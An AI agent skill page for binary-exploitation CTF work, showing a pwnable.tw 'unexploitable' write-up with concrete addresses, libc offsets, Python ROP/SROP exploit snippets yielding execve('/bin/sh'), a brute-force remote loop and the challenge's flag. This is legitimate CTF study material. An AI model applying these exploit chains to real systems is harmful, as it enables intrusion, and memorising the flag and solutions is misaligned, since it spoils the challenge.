Skip to content

ljagiello/ctf-skills / ctf-pwn

ctf-pwn

Flagged

Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege escalation, such as buffer overflows, format strings, heap bugs, ROP, ret2libc, shellcode, kernel exploitation, seccomp bypass, sandbox escape, or Windows/Linux exploit chains. Do not use it when the main blocker is understanding what the binary does; use reverse engineering first. Do not use it for pure web bugs, disk or packet forensics, or standalone crypto/math challenges.

FileKindSize
SKILL.mdskill md20.4 KB
advanced-exploits-2.mdmarkdown30.4 KB
advanced-exploits-3.mdmarkdown32.5 KB
advanced-exploits-4.mdmarkdown30.5 KB
advanced-exploits-5.mdmarkdown6.1 KB
advanced-exploits.mdmarkdown35.0 KB
advanced.mdmarkdown14.3 KB
attack-playbook.mdmarkdown5.6 KB
field-notes.mdmarkdown25.7 KB
format-string.mdmarkdown32.3 KB
heap-fsop.mdmarkdown14.8 KB
heap-techniques-2.mdmarkdown19.8 KB
heap-techniques.mdmarkdown37.2 KB
kernel-bypass.mdmarkdown19.6 KB
kernel-techniques.mdmarkdown18.6 KB
kernel.mdmarkdown32.0 KB
overflow-basics.mdmarkdown26.2 KB
pwnable-tw/3x17.mdmarkdown11.3 KB
pwnable-tw/README.mdmarkdown54.0 KB
pwnable-tw/alive_note.mdmarkdown13.9 KB
pwnable-tw/applestore.mdmarkdown14.0 KB
pwnable-tw/babyallocator.mdmarkdown14.8 KB
pwnable-tw/babystack.mdmarkdown15.0 KB
pwnable-tw/bash.mdmarkdown10.3 KB
pwnable-tw/bash_revenge.mdmarkdown14.2 KB
pwnable-tw/bookwriter.mdmarkdown12.7 KB
pwnable-tw/bounty_program_a.mdmarkdown14.1 KB
pwnable-tw/bounty_program_b.mdmarkdown13.5 KB
pwnable-tw/break_out.mdmarkdown14.1 KB
pwnable-tw/calc.mdmarkdown13.2 KB
pwnable-tw/caov.mdmarkdown13.4 KB
pwnable-tw/criticalheap.mdmarkdown14.0 KB
pwnable-tw/criticalheap_pp.mdmarkdown13.3 KB
pwnable-tw/de_aslr.mdmarkdown14.8 KB
pwnable-tw/death_note.mdmarkdown13.7 KB
pwnable-tw/digimon.mdmarkdown14.5 KB
pwnable-tw/dubblesort.mdmarkdown11.5 KB
pwnable-tw/food_store.mdmarkdown12.8 KB
pwnable-tw/ghost_party.mdmarkdown13.2 KB
pwnable-tw/hacknote.mdmarkdown12.4 KB
pwnable-tw/heap_paradise.mdmarkdown12.4 KB
pwnable-tw/hitcon_ftp.mdmarkdown13.7 KB
pwnable-tw/kidding.mdmarkdown13.3 KB
pwnable-tw/mno2.mdmarkdown12.5 KB
pwnable-tw/omegago.mdmarkdown13.6 KB
pwnable-tw/orw.mdmarkdown11.8 KB
pwnable-tw/printable.mdmarkdown13.7 KB
pwnable-tw/re_alloc.mdmarkdown11.6 KB
pwnable-tw/re_alloc_revenge.mdmarkdown11.5 KB
pwnable-tw/seccomptools.mdmarkdown12.3 KB
pwnable-tw/secret_garden.mdmarkdown13.9 KB
pwnable-tw/secret_of_my_heart.mdmarkdown12.6 KB
pwnable-tw/seethefile.mdmarkdown12.4 KB
pwnable-tw/silver_bullet.mdmarkdown14.0 KB
pwnable-tw/spirited_away.mdmarkdown11.9 KB
pwnable-tw/starbound.mdmarkdown13.3 KB
pwnable-tw/start.mdmarkdown10.7 KB
pwnable-tw/stupid_boss.mdmarkdown13.4 KB
pwnable-tw/tcache_tear.mdmarkdown12.5 KB
pwnable-tw/unexploitable.mdmarkdown14.4 KB
pwnable-tw/wannaheap.mdmarkdown12.9 KB
rop-advanced.mdmarkdown32.3 KB
rop-and-shellcode.mdmarkdown28.1 KB
sandbox-escape.mdmarkdown15.1 KB
scripts/fmtstr_payload_suite.pyexecutablescript3.1 KB
scripts/ret2libc_two_stage.pyexecutablescript2.5 KB
scripts/seccomp_orw_generator.pyexecutablescript3.2 KB
scripts/shellcraft_asm.pyexecutablescript2.7 KB
scripts/srop_execve.pyexecutablescript2.7 KB
static-signals.mdmarkdown2.2 KB
tools-mcp.mdmarkdown11.8 KB

pwnable-tw/unexploitable.md

View on GitHub
---
tags:
  - stack-buffer-overflow
  - srop
  - stack-pivoting
platform: pwnable.tw
points: 500
arch: x86-64
libc: glibc-2.23
relro: partial
canary: no
nx: yes
pie: no
references:
  - https://pwnable.tw/challenge/
description: "A stack buffer overflow without output functions is weaponized via Sigreturn-Oriented Programming (SROP) to set register states and invoke execve."
proof-of-concept: no
---

# unexploitable — pwnable.tw (500 pts)

[← Back to pwnable.tw Challenge Index](README.md)

> `nc chall.pwnable.tw 10403`
>
> Flag: `FLAG{4_r34lLy_Un3Xpl01T48l3_S3Rv1C3_Sh0UlD_n0T_H4v3_SYsC4ll_1NS1D3}`

## Challenge Overview

A tiny x86-64 binary (No PIE, Partial RELRO, NX, no canary) whose `main` does nothing but `sleep(3)` then `read(0, rbp-0x10, 0x100)` and returns. The binary imports only three libc functions (`read`, `sleep`, `__libc_start_main`). There is no output function, no `syscall` gadget in the binary text, and no `/bin/sh` string — hence "unexploitable."

The challenge is a hardened variant of pwnable.kr's "unexploitable" — the original had a `syscall` instruction in the binary; this version removed it, forcing solvers to manufacture one.

```bash
checksec:
  Arch:     amd64-64-little
  RELRO:    Partial RELRO       # GOT writable
  Stack:    No canary found
  NX:       NX enabled
  PIE:      No PIE (0x400000)
```

### Binary Disassembly

```asm
0000000000400544 <main>:
  400544: push   rbp
  400545: mov    rbp, rsp
  400548: sub    rsp, 0x10
  40054c: mov    edi, 0x3           ; sleep(3)
  400551: mov    eax, 0x0
  400556: call   400450 <sleep@plt>
  40055b: lea    rax, [rbp-0x10]    ; buf = rbp - 0x10
  40055f: mov    edx, 0x100         ; count = 256
  400564: mov    rsi, rax           ; buf
  400567: mov    edi, 0x0           ; fd = stdin
  40056c: mov    eax, 0x0
  400571: call   400430 <read@plt>
  400576: leave                     ; mov rsp,rbp; pop rbp
  400577: ret
```

### Key Addresses

| Symbol | Address | Notes |
|--------|---------|-------|
| `read@plt` | `0x400430` | Only input primitive |
| `sleep@plt` | `0x400450` | Only other callable function |
| `GOT[read]` | `0x601000` | **Writable** — outside RELRO-protected page |
| `GOT[sleep]` | `0x601010` | Writable |
| `GOT[__libc_start_main]` | `0x601008` | Writable |
| `.bss` | `0x601028` | Writable scratch area |
| `__libc_csu_init` (CSU_POPS) | `0x4005e6` | Pop rbx/rbp/r12-r15 gadget |
| `__libc_csu_init` (CSU_CALL) | `0x4005d0` | `mov rdx,r15; mov rsi,r14; mov edi,r13d; call [r12+rbx*8]` |
| `leave; ret` | `0x400576` | Stack pivot gadget |

## Vulnerability

### V1 — Stack Buffer Overflow

**Root Cause:** `main` allocates a 16-byte buffer (`rbp-0x10`) but reads up to `0x100` (256) bytes. With no stack canary, the saved rbp (at offset `+0x10`) and return address (at offset `+0x18`) are directly overwritable.

```c
// Pseudocode of main
void main() {
    char buf[0x10];        // 16-byte buffer
    sleep(3);
    read(0, buf, 0x100);   // reads 256 bytes → overflow at offset 0x18
    return;                 // leave; ret — uses overwritten rbp and rip
}
```

**Impact:** Full control of RIP and RBP. However, exploitation is severely constrained:
- **No output function** — cannot leak addresses directly
- **No `syscall`/`int 0x80` instruction** in the binary
- **No `pop rdi; ret`** or similar simple gadgets — only the `__libc_csu_init` gadget pair
- **No `/bin/sh` string** — must be written to memory
- **256-byte read** — limits stage-1 ROP chain size

### V2 — GOT[read] Sits Outside RELRO-Protected Page

**Root Cause:** The `GNU_RELRO` segment covers `[0x600e28, 0x601000)`. After page-rounding, the loader re-protects `[0x600000, 0x601000)`. But `GOT[read]` is at exactly `0x601000` — the **first byte of the next page** — and remains **writable**.

**Impact:** A single-byte overwrite of `GOT[read]` can redirect `read@plt` to any instruction within a 256-byte range of the original `read()` entry point. In the provided glibc 2.23, `read()` is at offset `0xf6670` and its `syscall` instruction is at `0xf667e` — only the low byte differs (`0x70` → `0x7e`). Similarly, `sleep()` at `0xcb680` has nearby `syscall` instructions reachable by single-byte overwrites.

## Exploit Paths

All solutions exploit V1 (stack overflow). They diverge on how they overcome the "no output, no syscall" constraints.

---

### Path A — ret2csu + GOT Partial Overwrite → `syscall` Gadget → `execve` (Deterministic)

**Used by:** exp.py, solutions 60, 370, 1689, 1780, 10840, and many others

The canonical, fully deterministic approach. No brute-force needed.

**Concept:** Use the `__libc_csu_init` gadget pair ("ret2csu") to call `read()` with controlled arguments, overwrite a GOT entry's low byte to point at a `syscall; ret` instruction inside libc, then use the manufactured syscall gadget to call `execve("/bin/sh", 0, 0)`.

**Steps:**

1. **Stage 1 — Stack pivot to .bss:** The 256-byte overflow is too small for the full chain. Use ret2csu to call `read(0, bss, large)`, loading a longer stage-2 chain into writable `.bss`. Then `leave; ret` with `rbp = bss` pivots the stack there.

```python
# ret2csu helper: set rbx/rbp/r12-r15, then call [r12+rbx*8]
CSU_POPS = 0x4005e6  # pop rbx,rbp,r12,r13,r14,r15; add rsp,0x38; ret
CSU_CALL = 0x4005d0  # mov rdx,r15; mov rsi,r14; mov edi,r13d; call [r12+rbx*8]

# Stage 1: read(0, BSS, len(stage2)) then pivot
payload  = b"A" * 0x18                          # fill buf + saved rbp
payload += p64(CSU_POPS)
payload += csu(0, 1, READ_GOT, 0, BSS, len(s2), CSU_CALL)  # read stage2
payload += csu(0, BSS, 0, 0, 0, 0, LEAVE_RET)              # pivot
```

2. **Stage 2 — Patch GOT[read] → `syscall; ret`:** Use ret2csu to call `read(0, GOT[read], 1)`. Send exactly 1 byte (`\x7e`) — this overwrites only the low byte, turning `read()` (at `0x...670`) into the `syscall` instruction (at `0x...67e`). `read()` returns 1 → **rax = 1**.

3. **Stage 3 — Set rax = 59 (SYS_execve):** Now `call [GOT[read]]` invokes `syscall`. With rax=1, that's `SYS_write`. Call `write(fd, readable_addr, 59)` — the kernel writes 59 bytes and returns 59 → **rax = 59**.

4. **Stage 4 — `execve("/bin/sh", 0, 0)`:** Write `/bin/sh\0` to `.bss` (done in stage 2). Call `syscall` with rdi=&"/bin/sh", rsi=0, rdx=0, rax=59 → shell.

```python
# Stage 2 chain (in .bss):
s2  = b"/bin/sh\x00"
s2 += p64(CSU_POPS)
# Patch GOT[read] low byte → syscall; read returns 1 → rax=1
s2 += csu(0, 1, READ_GOT, 0, READ_GOT, 1, CSU_CALL)
# write(rax=1) → write(0, readable, 59) → rax=59
s2 += csu(0, 1, READ_GOT, 0, 0x400000, 59, CSU_CALL)
# execve(rax=59) → execve("/bin/sh", 0, 0)
s2 += csu(0, 1, READ_GOT, binsh, 0, 0, CSU_CALL)
```

**Reliability:** 100% deterministic. The low-byte overwrite is ASLR-immune since only the fixed offset within libc matters.

---

### Path B — GOT Overwrite → `syscall` + Write Leak → `system`/one_gadget

**Used by:** Solutions 184, 278, 550, 927, 1297, 1715

Similar to Path A but adds a **libc leak** step:

1. **Overwrite GOT[read] or GOT[sleep]** low byte to point at a `syscall` instruction (or the `write` syscall entry point nearby).
2. **Invoke write(1, GOT[sleep], 8)** via ret2csu — leaks the runtime address of `sleep()` to stdout.
3. **Calculate libc base** from the leak.
4. **Second read** loads a final ROP chain using full libc gadgets: `pop rdi; ret` → `"/bin/sh"` → `system()`, or a one_gadget.

```python
# After patching GOT[read] → write's syscall:
#   write(1, GOT[sleep], 8) → leaks sleep address
sleep_addr = u64(recv(8))
libc_base = sleep_addr - libc.symbols['sleep']
# Send final chain:
pop_rdi = libc_base + 0x21102
payload = p64(pop_rdi) + p64(libc_base + binsh_off) + p64(libc_base + system_off)
```

**Reliability:** 100% deterministic. The leak makes it more flexible than Path A.

---

### Path C — SROP (Sigreturn-Oriented Programming)

**Used by:** Solutions 138, 331, 370, 606, 709, 1172

Uses the manufactured `syscall` gadget to invoke `rt_sigreturn` (syscall 15), which restores all registers from a crafted `SigreturnFrame` on the stack.

1. **Overwrite GOT[sleep] or GOT[read]** low byte → `syscall`.
2. **Set rax = 15** by having `read()` return exactly 15 bytes.
3. **Call `syscall`** → `rt_sigreturn` restores registers from a fake `SigreturnFrame` placed on the stack, setting rax=59, rdi="/bin/sh", rsi=0, rdx=0, rip=syscall_gadget.
4. The kernel "returns" into `execve("/bin/sh", 0, 0)`.

```python
frame = SigreturnFrame()
frame.rax = 59              # SYS_execve
frame.rdi = binsh_addr      # "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr    # patched sleep@plt
# ... place frame on stack, send 0xf bytes to set rax=15, trigger sigreturn
```

**Reliability:** 100% deterministic.

---

### Path D — ret2dl_resolve (Fake Dynamic Linking)

**Used by:** Solution 59

Constructs fake ELF structures (link_map, Elf64_Rela, Elf64_Sym, strtab entries) in writable memory and calls the PLT resolver (`_dl_runtime_resolve`) with forged relocation index. The fake symbol resolves to a one_gadget address computed as `__libc_start_main@got + offset`.

```python
# Pivot rbp to .data, return to main to read fake structures
# Then jump to dl_resolve (0x400426) with crafted link_map and reloc_index
# Fake l_addr = one_gadget_offset, fake relocation target = writable address
payload = p64(dl_resolve) + p64(fake_link_map) + p64(0)
```

**Reliability:** 100% deterministic, but complex to set up.

---

### Path E — Brute-Force One-Gadget (Non-Deterministic)

**Used by:** Solutions 100, 821, 550 (alternative)

The laziest approach: overwrite the return address with a guessed one_gadget address directly.

1. The last 12 bits of any libc address are fixed (page-aligned base).
2. Guess the remaining 1.5 bytes (~4096 possibilities).
3. Overwrite `main`'s return address with `sleep_got + offset_to_one_gadget` (partial libc address, or just the raw guessed address).
4. Retry until the guess is correct.

```python
while True:
    r = remote(host, port)
    sleep(3)
    payload = b"A"*0x10 + b"B"*8 + b"\x6a\xd2\xc8"  # guessed one_gadget
    r.send(payload)
    try:
        r.sendline("cat /home/unexploitable/flag")
        print(r.recv())  # if we get output, the guess was right
        break
    except:
        r.close()
```

**Reliability:** ~1/4096 per attempt. With the 3-second sleep per attempt, this takes ~3.4 hours on average.

---

### Path F — GOT Overwrite via `or byte` Gadget → `write` Leak

**Used by:** Solution 184

A creative variant using an obscure gadget found at `0x400510`:

```asm
0x400510: or byte [rbx+0x5D], bl ; ret
```

By setting `rbx = GOT[read] - 0x5d`, this gadget ORs a byte value into `GOT[read]`, transforming `read()` into `write()` without needing a separate `read()` call for the patch. This provides a write primitive to leak libc, then finish with `pop rdi; ret → "/bin/sh" → system`.

**Reliability:** 100% deterministic.

## Exploit Primitive Summary

| Primitive | How | Reliability |
|-----------|-----|-------------|
| RIP/RBP control | Stack overflow at offset 0x18 | Deterministic |
| Controlled `read()` calls | ret2csu (`__libc_csu_init` gadgets) | Deterministic |
| Stack pivot to .bss | `leave; ret` with controlled rbp | Deterministic |
| Manufactured `syscall` | Partial GOT overwrite (1 byte, ASLR-immune) | Deterministic |
| Set rax to arbitrary value | `read()` / `write()` return value = byte count | Deterministic |
| libc leak (optional) | `write(1, GOT_entry, 8)` via manufactured syscall | Deterministic |
| Code execution | `execve` via syscall, or `system`/one_gadget after leak | Deterministic |

## Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)

```python
# read() internal offsets
read_offset   = 0xf6670    # read() entry
syscall_in_read = 0xf667e  # syscall instruction inside read()
patch_byte_read = 0x7e     # low byte to overwrite GOT[read]

# sleep() internal offsets (alternative target)
sleep_offset  = 0xcb680
# Various nearby syscall instructions: 0xcb6de (byte 0xde), 0xcb60e (byte 0x0e), 0xcb655 (byte 0x55)

# Useful libc symbols
system        = 0x45390
__libc_start_main = 0x20740
bin_sh        = 0x18c177    # "/bin/sh" string
pop_rdi_ret   = 0x21102
one_gadgets   = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
```

## Solution Write-ups

| File | Primary Path | Key Technique | Notes |
|------|-------------|---------------|-------|
| `59.md` | D | ret2dl_resolve with forged structures | Unique approach; 100% deterministic |
| `60.md` | A | ret2csu → GOT[read] patch → syscall chain | Clean stage1/stage2 |
| `100.md` | E | Brute-force one_gadget (12-bit guess) | ~3000 attempts; lazy but works |
| `138.md` | C | SROP via GOT[sleep] patch → sigreturn | Ruby; elegant |
| `184.md` | F | `or byte` gadget to create write → leak → system | Creative gadget discovery |
| `278.md` | B | ret2csu → GOT patch → write leak → system | Ruby; backup of read via __libc_start_main GOT |
| `331.md` | C | GOT[sleep] patch → SROP `execve` | Straightforward sigreturn |
| `370.md` | C | SROP with pivots through multiple reads | Stack-pivot chain through .data |
| `424.md` | A | ret2csu → self-built syscall → execve | Compact chain |
| `550.md` | B | GOT[sleep] → syscall write leak → system | Leaks via `write(1, GOT, 8)` |
| `606.md` | C | SROP split across two reads | Frame too large for one read |
| `709.md` | C | GOT[sleep] partial overwrite → SROP | Sends 0xf bytes to set rax=15 |
| `821.md` | E | Brute-force one_gadget (12-bit) | Simplest possible exploit |
| `927.md` | B | ret2csu → write leak → one_gadget | Full libc leak then one-shot |
| `1172.md` | C+B | GOT patch → SROP execve, backup: write leak | Also uses sleep as syscall |
| `1297.md` | B | ret2csu → write(1, GOT[sleep]) leak → one_gadget | Clean 3-stage approach |
| `1689.md` | A | ret2csu → GOT patch → `execve` (no leak) | Direct syscall chain; very concise |
| `1715.md` | B | GOT[sleep] → syscall `write` → leak → one_gadget | Uses `mov esi, [rsp+0x28]` gadget |
| `1780.md` | A | ret2csu → GOT[read] patch → `write` rax → `execve` | Clean no-leak chain |
| `1803.md` | B | GOT[sleep] partial overwrite → `execl` | Ruby; overwrites 2 bytes of GOT |
| `10840.md` | A | ret2csu → GOT[sleep] patch → write rax → execve | Clear step-by-step notes |

## Files

| File | Description |
|------|-------------|
| `exp.py` | Working exploit (deterministic, no pwntools, pure sockets) |
| `desc.txt` | Challenge description |
| `artifacts/unexploitable` | Challenge binary (x86-64, No PIE, Partial RELRO) |
| `artifacts/libc_64.so.6` | Remote libc (glibc 2.23) |
| `solution/*.md` | Community write-ups (120 solutions) |
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall